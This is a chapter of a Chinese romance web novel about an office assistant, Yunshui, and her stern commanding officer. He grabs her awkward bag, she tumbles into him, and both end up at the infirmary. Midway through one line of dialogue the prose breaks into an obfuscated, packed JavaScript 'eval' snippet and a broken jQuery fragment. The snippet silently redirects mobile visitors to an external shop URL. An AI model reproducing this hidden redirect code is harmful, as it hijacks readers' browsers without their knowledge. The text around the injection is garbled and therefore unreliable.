他们没有私底下加联系方式。所有的沟通就是当面交流、邮件往来,以及用内部的通讯系统。
这个系统全部实名,头像全是证件照,显得十分专业高效。
云水就盯着执舰官那张熟悉的脸。云水的证件照叠了淡妆和磨皮,属于美化。而执舰官由于剑眉星目,真人已经足够好看了,证件照反而冷漠得不近人情。
最讨厌的是,这个系统会显示已读。
她盯着这个头像开始焦虑,不得不打字回复:收到。
对方立刻显示已读。没有再回信。
上午很闲,但那种待宰羔羊一样的焦虑感迫使云水打开小窗摸鱼。然后下午处理完突发舆情,时间线回到开始,她磨蹭着迟迟没有走出办公室,执舰官打了她的电话。
“不舒服?”执舰官重复了一遍,“你怎么了。”
也许这实在是个蹩脚的请假理由。连带着她的推三阻四,显得很没有道理。
她有点后悔了。
云水张了张口,此时办公室已经空无一人,因此外面缓缓过来的脚步声尤为明显,在空旷的走廊里一点点逼近。
是军靴踏在地板的声音。
云水紧紧盯着虚掩的办公室门。
嗒嗒。
嗒嗒嗒。
耳边手机里还有对方轻得几乎难以辨别的呼吸声。
她好像一个被惊惧感扼住脖子的恐怖片小配角,就这么睁大眼睛,心跳如鼓,等着“鬼”来敲门。
这种等待短暂而煎熬。事实上,从今天上午收到讯息的那一刻起,云水就已经泡在了铁锅里,现在都要被熬干了、煮化了。整个人都不好了。
“滴——”
云水猛地站起来,好像一个被戳中触角的蜗牛。
她警惕地张望,只见一瞬间所有的灯光骤然熄灭,连带着本来还在拖拖拉拉关机中的电脑都立刻咽气。
云水这时候才想起前几天发过电路检修暂时停电的通知,怪不得今天办公室到点就解散,没有任何领导和同事逗留。
房间陷入昏暗。
这样静谧的氛围里,“鬼”不负她的期待,一点点靠近。
嗒嗒。
笃笃笃。
这个声音和云水愈演愈烈的心跳逐渐同频,咚咚咚撞击她的耳鼓膜,她神经绷起来,屏住呼吸。
门被推开了。
高唐要塞经度靠东,日出早,日落也早。初春时令,虽然现在还没有完全日落,云还亮着,但天色已经染上一点橘红。
今天也许有晚霞。
室内有点黑,但还能视物,像罩了一层老旧的滤镜。室外的走廊有窗户,正好方便夕阳照进来。那点明亮的橘红本来夹在门缝之间,窄窄的,像一条饼干的果酱夹心。却随着门被推开,昏黄的光晕越阔越大。
像那种抽卡游戏的出金特效。
江榭逆着光,变成被她抽中的SSR。
……
执舰官的个子很高,几乎遮住了一大片夕照。那些带着橘调的小光束争先恐后地从他四周擦身而过,顺便给他刀刻似的五官镀了层斑斓的边。
眉骨的阴影扫下去,他不开口刺人时格外疏离。
执舰官的制服还是扣得严丝合缝,让人很轻易就能顺着视线看到突出的喉结、审视般的目光。
云水撑着桌子的手已经出汗了。
沉默。
执舰官确认云水面色惨白,呼吸急促,头上带着一点不易察觉的虚汗。唇色越来越发白,两颊开始弥漫体虚一样的红。
确实是不舒服的样子。
每次见执舰官,云水都要做一番心理建设。今天他出现的太突然,让她不适应。
这种不适应成功迷惑了执舰官,于是他破天荒高抬贵手:“如果不舒服,就早点回去。”
云水如梦方醒:“啊,好的。”
她避之不及地想要快点溜走,腿不知道什么时候已经麻了,一动就剧痛无比,但云水咬牙忍着,马上要从办公室成功突围的时候——
手上传来一股阻力。
云水在心里高呼不妙,手上提着的包被一股巧劲拿走了。手指似乎还被带着手套的指节飞速拨了一下。
云水:“??”
云水:“!!!”
不!!
四目相对,云水摇摇欲坠,鞋子摩擦打滑,千钧一发之际,执舰官罕见地有点不知所措。
救命!
砰!
……
云水的包,并不寻常。
这是一个很难用的包。
最开始买是图它小巧方便,模样可爱,奶黄色,奶黄包。刚好能放下小型雨伞和手机。
可是在网上买东西就是容易踩雷。这个包的手提设计处短了一截,手提带和包身是一条扁扁的缝,很艰难才能塞进三根手指,其实很不好拎,因为不能四指一起提着,并不省力,拎着时夹得手疼。也许这并不是一个手提包,所以店家还贴心配了肩带。
可令人绝望的是,装上肩带也很难用。设计师拍脑袋决策,用了一根简约的、极细的丝带状绳子当肩带,中看不中用。装满东西以后不算很轻,一根丝带坠着包,挎在肩上,承重艰难,压强很大,勒得肩膀非常不舒服。
但是包身是好看的,细节是美丽的。云水犹豫几下,还是留下来了,当时没有想太多,之后钱已经花了,只能硬着头皮用。既然单独拎着或者背着都很难受,云水灵机一动,一般是背着包包的肩带,但是用手拎着包。
这样一来,手被勒痛了就放手,让肩部承重,肩酸了就重新用手提起来,如此轮换着刚刚好。
劳动人民的智慧。
可不妙的是,她今天穿的毛衣和包的肩带是同一个色系,加上配套肩带太细,室内光线昏暗,她又用手提着包……执舰官理所应当地以为她的包就是单纯手提的。
执舰官抽风一般夺走她的包,云水猝不及防,整个包连着那条细细的肩带、肩带变成了锁套,揽着云水整个上半身,一起飞扑向执舰官!
简直是……一场小型的袭击!
本来就发麻的小腿直接抽筋,背带勒得她失去平衡,直接摔了过去。
执舰官,丧门星!!!
执舰官也没料到她一个包暗藏玄机,下意识后仰,此时再松手也来不及,最后认命般上前把她接住。
接得并不体面。
他被猛地袭击,好在核心足够撑住。云水手忙脚乱要去攀上什么支撑住自己,慌忙之中手摁在了他的肩上、头磕在他下巴。
一瞬间,她跌进了一个冷冽的怀抱。
是惨案。
她好似那种魔幻游戏里的角色,一头栽进了荆棘一样的王座。
先到来的是刺痛。
执舰官握住云水的腰把她扶起来时,云水的手掌心被他制服上的金属扣和肩章划伤了,捅出一个小口子。
两人贴得很近,云水抬头,执舰官的下巴多了两条血痕,罪魁祸首是她头上的流星形状的银色夹子。
呼吸纠缠,但不约而同挂了彩。
执舰官:“……”
云水:“……”
他们一定是八字不合!犯冲!
她只觉得无妄之灾,灵魂还没有归位,宕机以后口不择言、目无尊卑,居然是稍加一个质疑的语气:“将军,你抢我的包?”
执舰官面色并无波动,只是以眼神谴责,平铺直叙:“我只是替你拎包。”
云水几乎惊惧地抬头,作为小喽啰,平时她给他端茶送水还差不多。
天要下红雨。执舰官疯了。他还没放弃勾引自己吗。
执舰官微微挑眉,他依旧居高临下,站在那里仿佛就成了恩赐:“你不是不舒服吗。”
云水想后退,可是执舰官还没有放下自己那个奶黄色的包,勒得她有点进退不得。
距离太近了,刚刚短暂的推搡和挤压,好像把空气都压缩了。眼前的躯体是温热的。
太古怪了。
执舰官低声说:“你流血了。”
云水不知道要怎么反应:“你也是。”
执舰官俯下身,把包的肩带解开,从云水身上摘下来,连同包身一起拽在手心里:“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609739|205900||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不是说过,让你以后不要穿这种鞋子。”
云水理亏低头,然后反应过来:这是鞋子的问题吗?!青天大老爷,得判执舰官全责吧。
执舰官却好像掌握了她的罪证一般:“为什么不听从长官的指令。”顿了顿,还倒打一耙,“下肢力量太差,疏于锻炼。”
啊,好大的官威。
云水还是低着头,正好视线就是执舰官略显凌乱的衣衫和皮带扣。皮带是很沉闷的款式,难得别具一格地歪斜着,很好玩。无端联想到猪皮上印歪了的蓝色印章。她竟然忍不住被这种毫无营养的观察逗笑了。
执舰官觉得眼前的临时助手同志,因为一段时间没有疾言厉色,颇为蹬鼻子上脸。长官训话居然还能嬉皮笑脸。她偷笑的时候故意藏着掖着,但是眉梢眼角都是弯弯的,嘴角有意克制,拉成严肃的直线。这个时候倒是恢复了血色,没有那么泛白了。嘴唇不知道涂什么膏体,有点不易察觉的亮晶晶。
执舰官冷峻地移开视线,另一只手指了一下她的手掌:“去擦药。”
其实伤口挺浅。
执舰官挟持着云水的包,所以她只能亦步亦趋跟着。
男人的脊背依然笔直,穿过溢满橙红色余晖的走廊。他走出奇得快,今天的落日也出奇得红。
也许是因为停电。往常室内总是灯火通明,人走到哪里,感应灯就亮到哪里。可今天光源全瘫痪了,泡在一汪暗色的寂静里。
但黄昏里的天色要亮不亮,太阳也将落不落。日光弥漫进了黯淡的楼阁,像涨潮一样涌进窗户,微光倾泻在砖墙上,杂糅成一种青红的色调。
绯红的墙壁掠过几只惊慌的、鸟雀的影子。
有那么一刹那,小跑跟在执舰官身后的云水顿了一下。这一幕画面带着微小的电流蹿进心口。没有什么感觉,寻常的,淡然的。她加快一点,跟紧前面那个永远不会慢下脚步的人。
执舰官径直去了医务室。值班的医生看起来很年轻,也许是新来的实习生,慌张行了一个不伦不类的军礼:“将军。”
执舰官把医生扔给云水,自己熟门熟路地在柜子里找到药水。
医生用棉签给云水的手掌消毒上药。云水一边说谢谢一边转头,看执舰官直接拿着医用酒精往下巴的血痕乱戳。
“将军,”云水干巴巴道,“那个、我包里有镜子。”
执舰官侧头看了一下她。然后勉为其难打开手边那个小包。里面是唇膏、纸巾、乱七八糟的小票,钥匙,压碎的小袋饼干,疑似融化了又凝固成奇形怪状的巧克力。云水其实脱口而出那句话就后悔了,感觉略微丢人,很紧张地盯着他手上的动作,很怕他下一句就是“你这是背包还是垃圾袋”。
最终执舰官从一堆鸡零狗碎里摸出一个小圆镜子。
巴掌大,上面还印着执舰官看不懂的卡通小动物,长耳朵,白色的,毛绒绒,也不知道是兔子还是狗。他深知云水的审美与他隔着天堑,忍住没吭声。打开镜子。
室内没有灯,他站在窗边。
还是蒸熟了一样的天色,亮色如果汁一样,从眉骨、鼻梁、下巴一路流淌。他的眼睛即使在光照下面,也是一种浓墨重彩的黑。好像所有光晕和色彩跌进去,只会被同化和吸噬。执舰官拿着镜子,另一只手用棉签迅速抹药。微微晃动时,镜子的反光刺了一下云水的眼睛。
云水就“唰”移开目光。
两个人处理好伤口,不尴不尬地走出去。
云水斗胆开口:“将军,我的包……”
执舰官停了一下,云水差点撞他背上。她飞快后退几步,执舰官冷冰冰笑:“挺敏捷。不是不舒服吗。”
云水咳了几声,若无其事道:“啊是的。不太舒服呢。手也火辣辣疼。”
执舰官走到楼梯口都没有把包还给她。
云水在心里翻腾着不安,恨不得一口气吼:这包我不要了再见执舰官。
要往下去地下室了。云水唯唯诺诺磨蹭到他手边:“谢谢将军。那个我要去坐地铁了。就到这里吧。”
执舰官漫不经心道:“我送你,上车。”